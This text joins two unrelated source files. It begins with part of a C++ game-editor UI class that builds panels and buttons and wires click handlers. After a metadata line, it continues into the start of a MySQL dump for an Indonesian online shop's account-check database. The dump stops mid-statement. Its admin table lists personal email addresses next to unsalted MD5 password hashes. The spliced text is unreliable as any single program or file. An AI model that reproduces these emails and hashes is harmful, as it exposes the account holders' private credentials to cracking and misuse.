UI::Panel* windowActorDefs = new UI::Panel();
windowActorDefs->SetName("windowActorDefs");
windowActorDefs->SetPosition(PointInt(5, 20));
windowActorDefs->SetSize(SizeInt(160, 210));
windowActorDefs->SetHasBackground(false);
windowActorDefs->SetVisible(false);
UI::Label* labelActorDef = new UI::Label();
labelActorDef->SetPosition(PointInt(10, 10));
labelActorDef->SetSize(SizeInt(100, 30));
labelActorDef->SetText(_T("Actors:"));
labelActorDef->SetForegroundColor(Color32::Red);
labelActorDef->SetHasBackground(false);
windowActorDefs->Children().Add(labelActorDef);
UI::ListBox* listBoxActors = new UI::ListBox();
listBoxActors->SetName("listBoxActors");
listBoxActors->SetPosition(PointInt(10, 20));
listBoxActors->SetSize(SizeInt(100, 120));
for (int i=0; i<actorCount; i++)
{
ActorDef* actor = tileset->_ActorDefs[i];
String actorName = EnumObject::GetName(typeof(ActorType), actor->_ActorType);
UI::ListItem* item = new UI::ListItem(actor->_name + " (" + actorName + ")");
item->SetUserData(actor);
listBoxActors->Items().Add(item);
}
windowActorDefs->Children().Add(listBoxActors);
tabPanelEditor->Children().Add(windowTiles);
tabPanelEditor->Children().Add(windowActorDefs);
UI::Panel* windowProperties = new UI::Panel();
windowProperties->SetName("windowProperties");
windowProperties->SetMovable(true);
windowProperties->SetPosition(PointInt(520, 250));
windowProperties->SetSize(SizeInt(260, 340));
windowProperties->SetHasBackground(true);
windowProperties->SetBackgroundColor(BackColor);
windowProperties->SetVisible(false);
UI::Label* labelGrid = new UI::Label();
labelGrid->SetPosition(PointInt(10, 10));
labelGrid->SetSize(SizeInt(100, 30));
labelGrid->SetText(_T("Properties:"));
labelGrid->SetForegroundColor(Color32::Red);
labelGrid->SetHasBackground(false);
windowProperties->Children().Add(labelGrid);
UI::RadioButton* buttonGrid = new UI::RadioButton();
buttonGrid->SetName("buttonGrid");
buttonGrid->SetPosition(PointInt(5, 25));
buttonGrid->SetSize(SizeInt(45, 20));
buttonGrid->SetHasBackground(false);
buttonGrid->SetText("Grid");
buttonGrid->SetChecked(true);
windowProperties->Children().Add(buttonGrid);
UI::RadioButton* buttonDialog = new UI::RadioButton();
buttonDialog->SetName("buttonDialog");
buttonDialog->SetPosition(PointInt(55, 25));
buttonDialog->SetHasBackground(false);
buttonDialog->SetText("Dialog");
buttonDialog->SetSize(SizeInt(45, 20));
windowProperties->Children().Add(buttonDialog);
UI::PropertyGrid* propertyGrid = new UI::PropertyGrid();
propertyGrid->SetName("propertyGrid");
propertyGrid->SetPosition(PointInt(5, 45));
propertyGrid->SetSize(SizeInt(250, 290));
propertyGrid->SetBackgroundColor(BackColor);
windowProperties->Children().Add(propertyGrid);
UI::Panel* propertyDialog = new UI::Panel();
propertyDialog->SetName("propertyDialog");
propertyDialog->SetPosition(PointInt(5, 45));
propertyDialog->SetSize(SizeInt(250, 290));
propertyDialog->SetHasBackground(false);
propertyDialog->SetVisible(false);
windowProperties->Children().Add(propertyDialog);
UI::Panel* toolBarLevel = new UI::Panel();
toolBarLevel->SetName("toolBarLevel");
toolBarLevel->SetMovable(true);
toolBarLevel->SetPosition(PointInt(10, 40));
toolBarLevel->SetSize(SizeInt(120, 70));
toolBarLevel->SetHasFrame(false);
toolBarLevel->SetHasBackground(true);
toolBarLevel->SetBackgroundColor(BackColor);
UI::Label* labelLevel = new UI::Label();
labelLevel->SetPosition(PointInt(10, 5));
labelLevel->SetSize(SizeInt(40, 20));
labelLevel->SetText(_T("Levels:"));
labelLevel->SetForegroundColor(Color32::Red);
labelLevel->SetHasBackground(false);
toolBarLevel->Children().Add(labelLevel);
UI::ComboBox* comboBoxLevels = new UI::ComboBox();
comboBoxLevels->SetName("comboBoxLevels");
comboBoxLevels->SetPosition(PointInt(10, 15));
comboBoxLevels->SetSize(SizeInt(100, 20));
toolBarLevel->Children().Add(comboBoxLevels);
UI::PushButton* buttonNew = new UI::PushButton();
buttonNew->SetName("buttonNew");
buttonNew->SetPosition(PointInt(10, 40));
buttonNew->SetSize(SizeInt(30, 20));
buttonNew->SetText(_T("New"));
buttonNew->SetForegroundColor(Color32::Blue);
buttonNew->SetBackgroundColor(Color32::Gray);
toolBarLevel->Children().Add(buttonNew);
UI::PushButton* buttonLoad = new UI::PushButton();
buttonLoad->SetName("buttonLoad");
buttonLoad->SetPosition(PointInt(45, 40));
buttonLoad->SetSize(SizeInt(30, 20));
buttonLoad->SetText(_T("Load"));
buttonLoad->SetForegroundColor(Color32::Blue);
buttonLoad->SetBackgroundColor(Color32::Gray);
toolBarLevel->Children().Add(buttonLoad);
UI::PushButton* buttonSave = new UI::PushButton();
buttonSave->SetName("buttonSave");
buttonSave->SetPosition(PointInt(80, 40));
buttonSave->SetSize(SizeInt(30, 20));
buttonSave->SetText(_T("Save"));
buttonSave->SetForegroundColor(Color32::Blue);
buttonSave->SetBackgroundColor(Color32::Gray);
toolBarLevel->Children().Add(buttonSave);
_Screen->Children().Add(panelInfo);
_Screen->Children().Add(toolBar);
_Screen->Children().Add(windowEntities);
_Screen->Children().Add(windowProperties);
_Screen->Children().Add(tabPanelEditor);
_Screen->Children().Add(toolBarLevel);
#else
File* file = new File("GameUI.xml");
XMLSerializer* serializer = new XMLSerializer();
FileStreamPtr stream = file->Open(FileMode_Open, FileAccess_Read);
if (stream != NULL)
{
_Screen = (UI::Panel*)serializer->Deserialize(stream.Get());
stream->Close();
}
#endif
if (_Screen != NULL)
{
UI::UISystem::Instance()->SetCurrentWidget(_Screen);
}
// Objects
_ComboBoxLevels = (UI::ComboBox*)GetChildByName("comboBoxLevels");
buttonNew = (UI::PushButton*)GetChildByName("buttonNew");
buttonLoad = (UI::PushButton*)GetChildByName("buttonLoad");
buttonSave = (UI::PushButton*)GetChildByName("buttonSave");
buttonGameMode = (UI::PushButton*)GetChildByName("buttonGameMode");
buttonPause = (UI::PushButton*)GetChildByName("buttonPause");
buttonSettings = (UI::PushButton*)GetChildByName("buttonSettings");
buttonEntities = (UI::PushButton*)GetChildByName("buttonEntities");
buttonProperties = (UI::PushButton*)GetChildByName("buttonProperties");
buttonExit = (UI::PushButton*)GetChildByName("buttonExit");
_ListBoxEntities = (UI::ListBox*)GetChildByName("listBoxEntities");
buttonTiles = (UI::RadioButton*)GetChildByName("buttonTiles");
buttonActors = (UI::RadioButton*)GetChildByName("buttonActors");
_ListBoxTiles = (UI::ListBox*)GetChildByName("listBoxTiles");
_ListBoxActors = (UI::ListBox*)GetChildByName("listBoxActors");
buttonGrid = (UI::RadioButton*)GetChildByName("buttonGrid");
buttonDialog = (UI::RadioButton*)GetChildByName("buttonDialog");
_PropertyGrid = (UI::PropertyGrid*)GetChildByName("propertyGrid");
_PropertyDialog = (UI::Panel*)GetChildByName("propertyDialog");
_PropertyGridBinder->SetPropertyGrid(_PropertyGrid);
// Events
buttonNew->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnToolBarEditorClick);
buttonLoad->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnToolBarEditorClick);
buttonSave->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnToolBarEditorClick);
buttonGameMode->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnToolBarClick);
buttonPause->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnToolBarClick);
buttonSettings->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnToolBarClick);
buttonEntities->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnToolBarClick);
buttonProperties->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnToolBarClick);
buttonExit->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnToolBarClick);
_ListBoxEntities->MouseClick += new EventMethodSlot<GameUI>(this,
&GameUI::OnListBoxEntitiesMouseClick);
_ListBoxEntities->MouseDoubleClick += new EventMethodSlot<GameUI>(this,
&GameUI::OnListBoxEntitiesMouseDoubleClick);
_ListBoxTiles = (UI::ListBox*)GetChildByName("listBoxTiles");
_ListBoxTiles->MouseDoubleClick += new EventMethodSlot<GameUI>(this,
&GameUI::OnListBoxTilesMouseDoubleClick);
buttonTiles->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnTabPanelEditorPageChanged);
buttonActors->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnTabPanelEditorPageChanged);
_ListBoxActors = (UI::ListBox*)GetChildByName("listBoxActors");
_ListBoxActors->MouseDoubleClick += new EventMethodSlot<GameUI>(this,
&GameUI::OnListBoxActorsMouseDoubleClick);
buttonGrid->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnTabPanelPropertiesPageChanged);
buttonDialog->Click += new EventMethodSlot<GameUI>(this,
&GameUI::OnTabPanelPropertiesPageChanged);
}
bool GameUI::OnToolBarClick(Object* sender, const EventArgs& e)
{
UI::Widget* widget = (UI::Widget*)sender;
if (widget->GetName() == "buttonGameMode")
{
GameWorld* world = GameCore::Instance()->GetWorld();
if (world->GetEditor())
{
world->NewGame();
world->SetEditor(false);
}
else
{
world->EndGame();
world->SetEditor(true);
}
}
else if (widget->GetName() == "buttonPause")
{
GameWorld* world = GameCore::Instance()->GetWorld();
world->SetPaused(!world->GetPaused());
}
else if (widget->GetName() == "buttonSettings")
{
static SettingsDialog* dialog = new SettingsDialog();
dialog->SetPosition(PointInt(260, 220));
dialog->Show(NULL);
}
else if (widget->GetName() == "buttonEntities")
{
UI::Panel* windowEntities = (UI::Panel*)GetChildByName("windowEntities");
windowEntities->SetVisible(!windowEntities->GetVisible());
}
else if (widget->GetName() == "buttonProperties")
{
UI::Panel* windowProperties = (UI::Panel*)GetChildByName("windowProperties");
windowProperties->SetVisible(!windowProperties->GetVisible());
}
else if (widget->GetName() == "buttonExit")
{
GameCore::Instance()->Exit();
}
return true;
}
bool GameUI::OnTabPanelEditorPageChanged(Object* sender, const EventArgs& e)
{
UI::Widget* widget = (UI::Widget*)sender;
UI::Panel* windowTiles = (UI::Panel*)GetChildByName("windowTiles");
UI::Panel* windowActorDefs = (UI::Panel*)GetChildByName("windowActorDefs");
windowTiles->SetVisible(false);
windowActorDefs->SetVisible(false);
if (widget->GetName() == "buttonTiles")
{
((UI::RadioButton*)GetChildByName("buttonActors"))->SetChecked(false);
windowTiles->SetVisible(true);
GameCore::Instance()->GetWorld()->SetEditorState(EditorState_Tiles);
}
else if (widget->GetName() == "buttonActors")
{
((UI::RadioButton*)GetChildByName("buttonTiles"))->SetChecked(false);
windowActorDefs->SetVisible(true);
GameCore::Instance()->GetWorld()->SetEditorState(EditorState_Actors);
}
return true;
}
bool GameUI::OnTabPanelPropertiesPageChanged(Object* sender, const EventArgs& e)
{
UI::Widget* widget = (UI::Widget*)sender;
UI::PropertyGrid* propertyGrid = (UI::PropertyGrid*)GetChildByName("propertyGrid");
UI::Panel* propertyDialog = (UI::Panel*)GetChildByName("propertyDialog");
propertyGrid->SetVisible(false);
propertyDialog->SetVisible(false);
if (widget->GetName() == "buttonGrid")
{
((UI::RadioButton*)GetChildByName("buttonDialog"))->SetChecked(false);
propertyGrid->SetVisible(true);
}
else if (widget->GetName() == "buttonDialog")
{
((UI::RadioButton*)GetChildByName("buttonGrid"))->SetChecked(false);
propertyDialog->SetVisible(true);
}
return true;
}
bool GameUI::OnToolBarEditorClick(Object* sender, const EventArgs& e)
{
UI::Widget* widget = (UI::Widget*)sender;
String fileName = FileSystem::Instance()->GetFullPath(
Path::Combine("AI\\MGS\\levels", _ComboBoxLevels->GetSelectedText()));
if (widget->GetName() == "buttonNew")
{
static LevelDialog* dialog = new LevelDialog();
dialog->SetPosition(PointInt(260, 220));
dialog->Show(NULL);
}
else if (widget->GetName() == "buttonLoad")
{
GameCore::Instance()->GetWorld()->LoadMap(fileName);
}
else if (widget->GetName() == "buttonSave")
{
GameCore::Instance()->GetWorld()->SaveMap(fileName);
}
return true;
}
bool GameUI::OnListBoxEntitiesMouseClick(Object* sender, const EventArgs& e)
{
UI::ListItem* item = _ListBoxEntities->GetSelectedItem();
if (item != NULL)
{
Actor* actor = (Actor*)item->GetUserData().ToObject();
GameCore::Instance()->GetWorld()->SetSelectedActor(actor);
_PropertyGridBinder->SetSelectedObject(actor);
}
else
{
_PropertyGridBinder->SetSelectedObject(NULL);
}
return true;
}
bool GameUI::OnListBoxEntitiesMouseDoubleClick(Object* sender, const EventArgs& e)
{
UI::ListItem* item = _ListBoxEntities->GetSelectedItem();
if (item != NULL)
{
GameCore::Instance()->GetWorld()->SetCursorOnSelectedActor();
}
return true;
}
bool GameUI::OnListBoxTilesMouseDoubleClick(Object* sender, const EventArgs& e)
{
GameCore::Instance()->GetWorld()->OnToolBarTile();
return true;
}
bool GameUI::OnListBoxActorsMouseDoubleClick(Object* sender, const EventArgs& e)
{
GameCore::Instance()->GetWorld()->OnToolBarActor();
return true;
}
| 32.967236 | 86 | 0.718533 |
8d01f9f81d2e393c0db4d7271d58db80f2f5a6d4 | 25,538 | sql | SQL | cek_rekening.sql | AdityaPKusnadi/checkrekening | e4183b6d90ebb1bc62562502fd08d651f12e6737 | [
"MIT"
] | null | null | null | cek_rekening.sql | AdityaPKusnadi/checkrekening | e4183b6d90ebb1bc62562502fd08d651f12e6737 | [
"MIT"
] | null | null | null | cek_rekening.sql | AdityaPKusnadi/checkrekening | e4183b6d90ebb1bc62562502fd08d651f12e6737 | [
"MIT"
] | null | null | null | -- phpMyAdmin SQL Dump
-- version 5.0.4
-- https://www.phpmyadmin.net/
--
-- Host: localhost
-- Waktu pembuatan: 28 Feb 2021 pada 15.32
-- Versi server: 10.4.17-MariaDB
-- Versi PHP: 8.0.1
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Database: `cek_rekening`
--
-- --------------------------------------------------------
--
-- Struktur dari tabel `log_login_admin`
--
CREATE TABLE `log_login_admin` (
`login_id` int(11) NOT NULL,
`admin_id` int(11) NOT NULL,
`lastlogin` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Dumping data untuk tabel `log_login_admin`
--
INSERT INTO `log_login_admin` (`login_id`, `admin_id`, `lastlogin`) VALUES
(1, 3, '2020-12-11 14:22:34'),
(2, 3, '2020-12-18 08:21:36'),
(3, 3, '2020-12-18 19:49:50'),
(4, 1, '2020-12-19 11:21:02'),
(5, 1, '2020-12-19 11:21:52'),
(6, 3, '2020-12-19 11:39:21'),
(7, 1, '2020-12-19 12:43:41'),
(8, 3, '2020-12-21 07:58:05'),
(9, 3, '2020-12-21 17:47:17'),
(10, 3, '2020-12-22 09:15:16'),
(11, 1, '2020-12-23 19:37:26'),
(12, 1, '2020-12-24 10:38:13'),
(13, 3, '2020-12-24 17:02:24'),
(14, 3, '2020-12-24 19:27:39'),
(15, 3, '2020-12-24 20:51:44'),
(16, 1, '2020-12-25 08:45:43'),
(17, 1, '2020-12-26 09:10:00'),
(18, 3, '2020-12-26 09:50:53'),
(19, 3, '2020-12-26 10:26:58'),
(20, 1, '2020-12-26 10:30:32'),
(21, 3, '2020-12-26 10:33:15'),
(22, 1, '2020-12-26 10:33:22'),
(23, 3, '2020-12-26 13:25:18'),
(24, 3, '2020-12-26 14:32:45'),
(25, 1, '2020-12-26 18:02:22'),
(26, 2, '2020-12-27 14:16:40'),
(27, 2, '2020-12-27 16:04:53'),
(28, 2, '2021-01-31 07:37:48'),
(29, 2, '2021-02-07 18:23:53'),
(30, 2, '2021-02-11 18:38:03'),
(31, 2, '2021-02-11 23:50:17'),
(32, 2, '2021-02-12 07:29:06'),
(33, 2, '2021-02-14 11:54:42'),
(34, 2, '2021-02-14 20:24:09'),
(35, 2, '2021-02-15 05:59:02'),
(36, 2, '2021-02-15 20:54:50'),
(37, 2, '2021-02-15 21:13:29'),
(38, 2, '2021-02-16 00:07:17'),
(39, 2, '2021-02-20 06:41:49'),
(40, 2, '2021-02-20 07:11:53'),
(41, 4, '2021-02-20 07:13:25'),
(42, 2, '2021-02-20 07:14:19'),
(43, 2, '2021-02-22 20:08:22'),
(44, 2, '2021-02-22 21:20:14'),
(45, 2, '2021-02-24 11:40:29'),
(46, 2, '2021-02-28 14:30:09');
-- --------------------------------------------------------
--
-- Struktur dari tabel `tbl_admin`
--
CREATE TABLE `tbl_admin` (
`admin_id` int(11) NOT NULL,
`nama` varchar(60) NOT NULL,
`username` varchar(8) NOT NULL,
`email` varchar(50) NOT NULL,
`password` text NOT NULL,
`keterangan` text DEFAULT NULL,
`display_email` char(1) NOT NULL DEFAULT 'T',
`deleted` int(11) NOT NULL,
`create_at` datetime NOT NULL DEFAULT current_timestamp(),
`create_by` int(11) NOT NULL,
`update_at` datetime NOT NULL DEFAULT current_timestamp(),
`update_by` int(11) NOT NULL,
`lastmodified` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Dumping data untuk tabel `tbl_admin`
--
INSERT INTO `tbl_admin` (`admin_id`, `nama`, `username`, `email`, `password`, `keterangan`, `display_email`, `deleted`, `create_at`, `create_by`, `update_at`, `update_by`, `lastmodified`) VALUES
(1, 'BigJill Official', 'bj_admin', 'bigjill.indonesia@gmail.com', '7a63092ed0dbf1cf717a930facf99a92', 'BigJill Official Account', 'Y', 1, '2020-11-23 13:42:42', 1, '2021-02-20 07:02:06', 2, '2021-02-20 07:02:06'),
(2, 'Aditya', 'aditya', 'adit.praset.27@gmail.com', 'f446d1791024a9a1a4f4db80d35762a8', 'Programmer', 'T', 0, '2020-11-23 13:42:42', 1, '2020-11-23 13:42:42', 1, '2020-11-23 13:42:42'),
(3, 'Marcellino', 'marcell', 'marcellino2302@gmail.com', '7d4535690a318b0947cf4dde8e498748', 'Programmer', 'T', 1, '2020-11-23 13:42:42', 1, '2021-02-20 07:02:10', 2, '2021-02-20 07:02:10'),
(4, 'admin', 'admin100', 'admin@min.com', 'f446d1791024a9a1a4f4db80d35762a8', '', 'Y', 0, '2021-02-20 07:02:59', 2, '2021-02-20 07:02:59', 2, '2021-02-20 07:02:59');
-- --------------------------------------------------------
--
-- Struktur dari tabel `tbl_bank`
--
CREATE TABLE `tbl_bank` (
`bank_id` int(11) NOT NULL,
`nama` varchar(36) DEFAULT NULL,
`singkatan` varchar(15) DEFAULT NULL,
`deleted` char(1) DEFAULT '0',
`create_at` datetime DEFAULT NULL,
`create_by` int(11) DEFAULT NULL,
`update_at` datetime DEFAULT NULL,
`update_by` int(11) DEFAULT NULL,
`lastmodified` datetime DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
--
-- Dumping data untuk tabel `tbl_bank`
--
INSERT INTO `tbl_bank` (`bank_id`, `nama`, `singkatan`, `deleted`, `create_at`, `create_by`, `update_at`, `update_by`, `lastmodified`) VALUES
(2, 'Bank Rakyat Indonesia', 'BRI', '0', '2021-02-11 23:02:20', 2, '2021-02-11 23:02:20', 2, '2021-02-11 23:02:20'),
(3, 'Bank Negara Indonesia', 'BNI', '0', '2021-02-14 12:02:32', 2, '2021-02-14 12:02:32', 2, '2021-02-14 12:02:32'),
(4, 'Bank Tabungan Pensiunan Nasional', 'BTPN', '0', '2021-02-14 12:02:55', 2, '2021-02-15 06:02:30', 2, '2021-02-15 06:02:30');
-- --------------------------------------------------------
--
-- Struktur dari tabel `tbl_barang`
--
CREATE TABLE `tbl_barang` (
`barang_id` int(11) NOT NULL,
`nama` varchar(60) NOT NULL,
`harga` double NOT NULL,
`kategori_id` int(11) NOT NULL,
`ukuran_id` text DEFAULT NULL,
`warna_id` text NOT NULL,
`link` text NOT NULL,
`deskripsi` text NOT NULL,
`deleted` int(11) NOT NULL,
`create_at` datetime NOT NULL DEFAULT current_timestamp(),
`create_by` int(11) NOT NULL,
`update_at` datetime NOT NULL DEFAULT current_timestamp(),
`update_by` int(11) NOT NULL,
`lastmodified` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Dumping data untuk tabel `tbl_barang`
--
INSERT INTO `tbl_barang` (`barang_id`, `nama`, `harga`, `kategori_id`, `ukuran_id`, `warna_id`, `link`, `deskripsi`, `deleted`, `create_at`, `create_by`, `update_at`, `update_by`, `lastmodified`) VALUES
(1, 'BANDO KERUT MUTIARA', 12000, 10, '', '44,55,6,53,84,86,85', 'https://shopee.co.id/BANDO-KERUT-i.40082839.3962139295', 'BANDO KERUT MUTIARA\r\nLagi musim banget nihh bando yang kainnya kerut-kerut\r\nAda 7 warna\r\nRp 12.000\r\n\r\nBe shine, be cool, be you !\r\n\r\n#iwearbigjill #produklokal #ootd #clothing #fashion #produkindonesia #casual #olshop #onlineshop #ootdindo #olshopindo \r\n#onlineshopindo #onlineshopbandung #produkbandung #bajukeren #olshopbandung #plaintee #tshirt #rajut #bando', 0, '2020-12-18 08:12:00', 3, '2020-12-18 08:12:00', 3, '2020-12-18 08:12:00'),
(2, 'MILLY SABRINE', 130000, 9, '', '1', 'https://shopee.co.id/BANDO-KERUT-i.40082839.3962139295', 'Warna pastel emang selalu bikin gemesh ! Nah ini ada yg model sabrina, cakep banget dipakenya\r\n\r\nLingkar dada 110cm\r\nPanjang badan 51cm\r\n\r\nAda 6 warna\r\nBahan baby corduroy\r\nRp 130.000\r\n\r\nBe shine, be cool, be you !', 1, '2020-12-19 11:12:10', 1, '2020-12-19 11:12:47', 1, '2020-12-19 11:12:47'),
(3, 'KIMBERLY SABRINE', 200000, 11, '1', '85,6', 'https://shopee.co.id/product/40082839/3570069208/', 'Masih belum punya one set Bigjill nihh ? Yuk ahh buruan !\r\n.\r\nKIMBERLY SABRINE\r\nFit to L\r\nPanjang badan 42cm\r\n\r\nLingkar pinggang 68-84cm\r\nPanjang celana 75cm\r\n\r\nAda 6 warna\r\nBahan katun\r\nRp 200.000\r\n\r\nBe shine, be cool, be you !\r\n\r\n#iwearbigjill #produklokal #ootd #clothing #fashion #produkindonesia #casual #olshop #onlineshop #ootdindo #olshopindo \r\n#onlineshopindo #onlineshopbandung #produkbandung #bajukeren #olshopbandung #plaintee #tshirt #kaospolos #oneset', 0, '2020-12-26 10:12:47', 3, '2020-12-26 10:12:47', 3, '2020-12-26 10:12:47'),
(4, 'ELVARETTA BAG', 110000, 9, '', '82,6,86,16,4,9', 'https://shopee.co.id/ELVARETTA-BAG-i.40082839.9704531019', 'Tas ini warna-warna’nya cakep banget !\r\nBisa jd hangbag or slingbag\r\n.\r\nELVARETTA BAG\r\nUkuran 22 x 8 x 14\r\n(Panjang - lebar - tinggi)\r\n\r\nAda 6 warna\r\nBahan faux leather\r\nRp 110.000\r\n\r\nBe shine, be cool, be you !\r\n\r\n#iwearbigjill #produklokal #ootd #clothing #fashion #produkindonesia #casual #olshop #onlineshop #ootdindo #olshopindo \r\n#onlineshopindo #onlineshopbandung #produkbandung #bajukeren #olshopbandung #plaintee #tshirt #kaospolos #taslucu', 0, '2020-12-21 18:12:10', 3, '2020-12-21 18:12:10', 3, '2020-12-21 18:12:10'),
(5, 'MASKER PLAIN', 6500, 3, '9,7,8', '87,92,90,91,88,89,93,94,95', 'https://shopee.co.id/MASKER-PLAIN-i.40082839.7823945912', 'Ukuran : (KURANG LEBIH)\r\n- dewasa 21cm / 12cm\r\n- anak 18cm / 10cm (bisa lihat di foto)\r\nSemua’nya handmade, jd jika ada ada perbedaan ukuran harap maklum\r\nBahan KATUN TWILL\r\n2 lapisan, bisa diisi tissue buat filter (jadi 3 lapis)', 0, '2020-12-24 13:12:29', 1, '2020-12-24 13:12:29', 1, '2020-12-24 13:12:29'),
(6, 'MASKER ETNIK ABSTRAK', 6500, 3, '9,7,8', '96', 'https://shopee.co.id/MASKER-ETNIK-ABSTRAK-i.40082839.3624018743', 'Ukuran : (KURANG LEBIH)\r\n- dewasa 21cm / 12cm\r\nSemua’nya handmade, jd jika ada ada perbedaan ukuran harap maklum\r\nBahan KATUN JEPANG\r\n2 lapisan, bisa diisi tissue buat filter (jadi 3 lapis)', 0, '2020-12-26 18:12:01', 1, '2020-12-26 18:12:01', 1, '2020-12-26 18:12:01'),
(7, 'MASKER SCOTT PAGE 1', 6500, 3, '9,7,8', '96', 'https://shopee.co.id/MASKER-SCOTT-PAGE1-i.40082839.6823933329', 'Ukuran : (KURANG LEBIH)\r\n- dewasa 21cm / 12cm\r\n- anak 18cm / 10cm (bisa lihat di foto)\r\nSemua’nya handmade, jd jika ada ada perbedaan ukuran harap maklum\r\nBahan KATUN JEPANG\r\n2 lapisan, bisa diisi tissue buat filter (jadi 3 lapis)', 0, '2020-12-26 18:12:54', 1, '2020-12-26 18:12:54', 1, '2020-12-26 18:12:54'),
(8, 'MASKER SCOTT PAGE 2', 6500, 3, '9,7,8', '96', 'https://shopee.co.id/MASKER-SCOTT-PAGE2-i.40082839.5137740614', 'Ukuran : (KURANG LEBIH)\r\n- dewasa 21cm / 12cm\r\n- anak 18cm / 10cm (bisa lihat di foto)\r\nSemua’nya handmade, jd jika ada ada perbedaan ukuran harap maklum\r\nBahan KATUN JEPANG\r\n2 lapisan, bisa diisi tissue buat filter (jadi 3 lapis)', 0, '2020-12-26 18:12:19', 1, '2020-12-26 18:12:19', 1, '2020-12-26 18:12:19'),
(9, 'MASKER BUNGA PAGE 1', 6500, 3, '9,7,8', '', 'https://shopee.co.id/MASKER-BUNGA-PAGE-1-i.40082839.7327137546', 'Ukuran : (KURANG LEBIH)\r\n- dewasa 21cm / 12cm\r\n- anak 18cm / 10cm (lihat di foto)\r\nSemua’nya handmade, jd jika ada ada perbedaan ukuran harap maklum\r\nBahan KATUN\r\n2 lapisan, bisa diisi tissue buat filter (jadi 3 lapis)', 0, '2020-12-26 18:12:06', 1, '2020-12-26 18:12:06', 1, '2020-12-26 18:12:06'),
(10, 'MASKER BUNGA PAGE 2', 6500, 3, '9,7,8', '96', 'https://shopee.co.id/MASKER-BUNGA-PAGE-2-i.40082839.6855994653', 'Ukuran : (KURANG LEBIH)\r\n- dewasa 21cm / 12cm\r\n- anak 18cm / 10cm (lihat di foto)\r\nSemua’nya handmade, jd jika ada ada perbedaan ukuran harap maklum\r\nBahan KATUN\r\n2 lapisan, bisa diisi tissue buat filter (jadi 3 lapis)\r\n', 0, '2020-12-26 18:12:44', 1, '2020-12-26 18:12:44', 1, '2020-12-26 18:12:44'),
(11, 'test data ', 150000, 3, '1', '1', 'https://shopee.co.id', 'test data', 1, '2020-12-26 10:12:29', 1, '2020-12-26 10:12:00', 1, '2020-12-26 10:12:00'),
(12, 'test data2', 150000, 4, '', '2', 'https://shopee.com', 'test datanya', 1, '2020-12-26 11:12:02', 1, '2020-12-26 11:12:38', 1, '2020-12-26 11:12:38'),
(13, 'MASKER BINTIK', 6500, 3, '9,7,8', '96', 'https://shopee.co.id/MASKER-BINTIK-i.40082839.3135385359', 'Ukuran : (KURANG LEBIH)\r\n- dewasa 21cm / 12cm\r\n- anak 18cm / 10cm (bisa lihat di foto)\r\nSemua’nya handmade, jd jika ada ada perbedaan ukuran harap maklum\r\nBahan KATUN JEPANG\r\n2 lapisan, bisa diisi tissue buat filter (jadi 3 lapis)', 0, '2020-12-26 18:12:34', 1, '2020-12-26 18:12:34', 1, '2020-12-26 18:12:34'),
(14, 'MASKER POLCA', 6500, 3, '9,7,8', '', 'https://shopee.co.id/MASKER-POLCA-i.40082839.5427144592', 'Ukuran : (KURANG LEBIH)\r\n- dewasa 21cm / 12cm\r\n- anak 18cm / 10cm (bisa lihat di foto)\r\nSemua’nya handmade, jd jika ada ada perbedaan ukuran harap maklum\r\nBahan KATUN JEPANG\r\n2 lapisan, bisa diisi tissue buat filter (jadi 3 lapis)\r\n', 0, '2020-12-26 18:12:25', 1, '2020-12-26 18:12:25', 1, '2020-12-26 18:12:25'),
(15, 'MASKER DIAMOND', 6500, 3, '9,7,8', '96', 'https://shopee.co.id/MASKER-DIAMOND-i.40082839.4723937980', 'Ukuran : (KURANG LEBIH)\r\n- dewasa 21cm / 12cm\r\n- anak 18cm / 10cm (bisa lihat di foto)\r\nSemua’nya handmade, jd jika ada ada perbedaan ukuran harap maklum\r\nBahan KATUN JEPANG\r\n2 lapisan, bisa diisi tissue buat filter (jadi 3 lapis)\r\n', 0, '2020-12-26 18:12:36', 1, '2020-12-26 18:12:36', 1, '2020-12-26 18:12:36'),
(16, 'MASKER SALUR', 6500, 3, '9,7,8', '96', 'https://shopee.co.id/MASKER-SALUR-i.40082839.3624043735', 'Ukuran : (KURANG LEBIH)\r\n- dewasa 21cm / 12cm\r\n- anak 18cm / 10cm (bisa lihat di foto)\r\nSemua’nya handmade, jd jika ada ada perbedaan ukuran harap maklum\r\nBahan KATUN LINEN\r\n2 lapisan, bisa diisi tissue buat filter (jadi 3 lapis)', 0, '2020-12-26 18:12:09', 1, '2020-12-26 18:12:09', 1, '2020-12-26 18:12:09'),
(17, 'MASKER VINTAGE', 7500, 3, '9,7,8', '', 'https://shopee.co.id/MASKER-VINTAGE-i.40082839.7865023588', 'Ukuran : (KURANG LEBIH)\r\n- dewasa 21cm / 12cm\r\n- anak 18cm / 10cm (bisa lihat di foto)\r\nSemua’nya handmade, jd jika ada ada perbedaan ukuran harap maklum\r\nBahan KATUN LINEN\r\n2 lapisan, bisa diisi tissue buat filter (jadi 3 lapis)', 0, '2020-12-26 18:12:17', 1, '2020-12-26 18:12:17', 1, '2020-12-26 18:12:17');
-- --------------------------------------------------------
--
-- Struktur dari tabel `tbl_kategori`
--
CREATE TABLE `tbl_kategori` (
